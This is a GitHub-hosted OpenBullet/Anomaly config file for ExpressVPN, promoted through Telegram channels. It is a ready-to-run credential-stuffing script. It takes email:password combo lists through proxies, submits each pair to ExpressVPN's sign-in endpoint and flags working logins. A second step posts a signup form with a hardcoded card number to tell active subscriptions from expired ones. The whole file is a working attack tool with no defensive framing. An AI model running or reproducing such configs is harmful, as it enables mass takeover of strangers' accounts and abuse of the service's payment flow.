forked from WangLee112/Config-Open-Bullet
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathExpressVPN.anom
98 lines (81 loc) · 4.23 KB
/
ExpressVPN.anom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
[SETTINGS]
{
"Name": "ExpressVPN - (@Combo23)",
"SuggestedBots": 100,
"MaxCPM": 0,
"LastModified": "2021-08-14T15:06:00.5225717+01:00",
"AdditionalInfo": "Join --> @Combo23 || Network --> @z3Ro23",
"Author": "DoMiNiC",
"Version": "1.3.1 [Anomaly]",
"LoliSave": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"EncodeData": false,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#REQ(Auth) REQUEST GET "https://www.expressvpn.com/sign-in"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#AuthToken PARSE "<SOURCE>" LR "name=\"authenticity_token\" value=\"" "\"" -> VAR "AuthToken"
#REQ(Login) REQUEST POST "https://www.expressvpn.com/sessions" EncodeContent=TRUE
CONTENT "utf8=%E2%9C%93&authenticity_token=<AuthToken>&location_fragment=&redirect_path=&email=<USER>&password=<PASS>&commit=Sign+In"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "authority: www.expressvpn.com"
HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "accept-language: en-US,en;q=0.9,hi;q=0.8"
HEADER "content-type: application/x-www-form-urlencoded"
HEADER "origin: https://www.expressvpn.com"
HEADER "referer: <ADDRESS>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
#Mic_Chk KEYCHECK
KEYCHAIN Failure OR
KEY "Invalid email or password."
KEYCHAIN Success OR
KEY "Verification Needed"
#REQ(RE) REQUEST GET "https://www.expressvpn.com/order"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#AuthToken2 PARSE "<SOURCE>" LR "name=\"csrf-token\" content=\"" "\"" EncodeOutput=TRUE -> VAR "AuthToken2"
#REQ(UP) REQUEST POST "https://www.expressvpn.com/signup"
CONTENT "utf8=%E2%9C%93&authenticity_token=<AuthToken2>&signup%5Bpackage_id%5D=3&signup%5Bpayment_method%5D=1&signup%5Bemail%5D=<USER>&signup%5Bfirst_name%5D=DoMiNiC&signup%5Blast_name%5D=iz+BaCk&signup%5Bcc_number_is_pasted%5D=0&signup%5Bcc_no%5D=5536814602045516&signup%5Bexpiry_month%5D=10&signup%5Bexpiry_year%5D=2024&signup%5Bccv%5D=111&signup%5Bzip%5D=10011"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "authority: www.expressvpn.com"
HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "accept-language: en-US,en;q=0.9"
HEADER "content-type: application/x-www-form-urlencoded"
HEADER "origin: https://www.expressvpn.com"
HEADER "referer: <ADDRESS>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
#Address PARSE "<ADDRESS>" LR "" "" -> VAR "Address"
#Wait FUNCTION Delay "3000" -> VAR "Wait"
#REQ(RE) REQUEST GET "https://www.expressvpn.com/order"
HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "accept-language: en-US,en;q=0.9"
HEADER "content-type: application/x-www-form-urlencoded"
HEADER "referer: <Address>"
HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
KEYCHECK
KEYCHAIN Success OR
KEY "Email already has active account"
KEYCHAIN Custom "EXPIRED" AND
KEY "we were unable to charge your card."
KEY "<SOURCE>" DoesNotContain "Email already has active account"
#Subscription FUNCTION Constant "Active" -> CAP "Subscription"
#Login FUNCTION Constant "Mobile App" -> CAP "Login Via"